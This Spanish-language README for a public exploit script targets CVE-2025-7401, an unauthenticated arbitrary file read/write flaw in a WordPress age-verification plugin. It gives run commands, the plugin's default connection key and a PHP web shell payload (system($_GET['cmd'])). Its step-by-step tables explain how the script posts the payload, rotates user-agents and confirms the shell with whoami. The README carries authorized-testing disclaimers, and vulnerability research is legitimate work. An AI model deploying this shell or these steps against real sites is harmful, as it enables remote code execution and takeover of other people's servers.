
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lectura y Escritura Arbitraria de Archivos sin Autenticación
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lectura y escritura arbitraria de archivos no autenticada
El plugin "Premium Age Verification / Restriction for WordPress" contiene un punto final de soporte remoto insuficientemente protegido en remote_tunnel.php. En las versiones afectadas hasta la 3.0.2 inclusive, este punto final puede ser abusado para lectura y escritura arbitraria de archivos no autenticada. La explotación exitosa puede exponer información sensible o permitir la ejecución remota de código.
CVE-2025-7401.py# Básico (usa clave de conexión por defecto y shell PHP por defecto)
python CVE-2025-7401.py -u example.com
# Usar HTTPS y clave de conexión personalizada, omitir verificación
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Payload PHP personalizado (solo pruebas autorizadas)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
remote_tunnel.php./wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php con parámetros: action=save_file, file, file_content.remote_init.php.Si descubre esta vulnerabilidad en infraestructura de terceros:
El uso no autorizado de herramientas de prueba de vulnerabilidades es ilegal en muchas jurisdicciones. Este repositorio y script están destinados únicamente para investigación defensiva, pruebas autorizadas y divulgación coordinada de vulnerabilidades. Obtenga siempre permiso explícito por escrito antes de probar sistemas que no posea.
El autor y los colaboradores no aceptan responsabilidad alguna por el mal uso de la información o herramientas. Utilice este material solo dentro de los límites legales y éticos.
Por: Nxploited ( Khaled Alenazi )
| Bandera | Tipo | Por Defecto | Descripción |
|---|
| -u, --url | string | requerido | Dominio objetivo o URL parcial. El script agregará el punto final del plugin cuando sea necesario. Ejemplos: example.com, https://example.com, example.com/wp-content/plugins/age-restriction/. |
| -key, --key | string | 330489965d8266a739442ef890f57805 | Clave de conexión utilizada por el punto final de soporte remoto. Sobrescriba para objetivos de laboratorio si es necesario. |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | Fragmento PHP a inyectar como contenido del archivo. Solo cambie para pruebas autorizadas. |
| --no-verify | flag | false | Si está presente, el script no realizará la verificación GET opcional del archivo escrito. |
| Paso | Acción | Detalles |
|---|
| 1 | Normalización de entrada | Acepta la entrada del usuario (dominio o ruta parcial). Asegura el esquema (http:// si falta), elimina barras duplicadas y agrega /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php si el punto final no está presente. |
| 2 | Construcción de cabeceras | Construye cabeceras HTTP realistas (selección rotativa de user-agent, Accept, Referer, Content-Type). |
| 3 | Codificación del payload | Codifica en Base64 el fragmento PHP proporcionado y lo coloca en file_content. |
| 4 | Solicitud POST de explotación | Envía connection_key, action=save_file, file (ruta del servidor) y file_content al punto final normalizado remote_tunnel.php mediante application/x-www-form-urlencoded. |
| 5 | Análisis de respuesta | Intenta analizar JSON del cuerpo de la respuesta. Si existe JSON, imprime status y file_path; de lo contrario, imprime la respuesta sin procesar limpia. |
| 6 | Verificación (opcional) | Intenta un GET a /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami para verificar si el archivo inyectado es accesible y devuelve contenido. Opcional mediante --no-verify. |
| 7 | Informe | Imprime un informe estructurado y legible que incluye el punto final utilizado, estado HTTP, JSON analizado (si lo hay), URL de shell esperada y salida de verificación truncada (si es exitosa). |
| Campo de Salida | Significado | Ejemplo |
|---|
| Punto final objetivo | URL normalizada final contactada (ruta completa a remote_tunnel.php). | http://example.com/wp-content/.../remote_tunnel.php |
| Código de Estado HTTP | Código de respuesta HTTP de la solicitud POST. 200 a menudo indica que la solicitud fue procesada. | 200 |
| Estado JSON de respuesta | Si el punto final devuelve JSON, el campo status reporta éxito/fallo. | valid |
| Ruta de archivo JSON de respuesta | Ruta del lado del servidor devuelta por el punto final que muestra dónde escribió el archivo (informativo). | /var/www/html/wp-content/.../remote_init.php |
| Respuesta sin procesar | Cuerpo de respuesta no JSON (limpiado) como avisos o mensajes PHP. | Notice: ... |
| URL de shell (esperada) | La URL pública donde el archivo inyectado sería accesible. Úselo solo para verificación en pruebas autorizadas. | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| Estado HTTP de verificación | Estado HTTP de la verificación GET opcional. | 200 |
| Cuerpo de verificación (truncado) | Primeros N caracteres del cuerpo de respuesta de verificación (útil para ver la salida del comando). | www-data |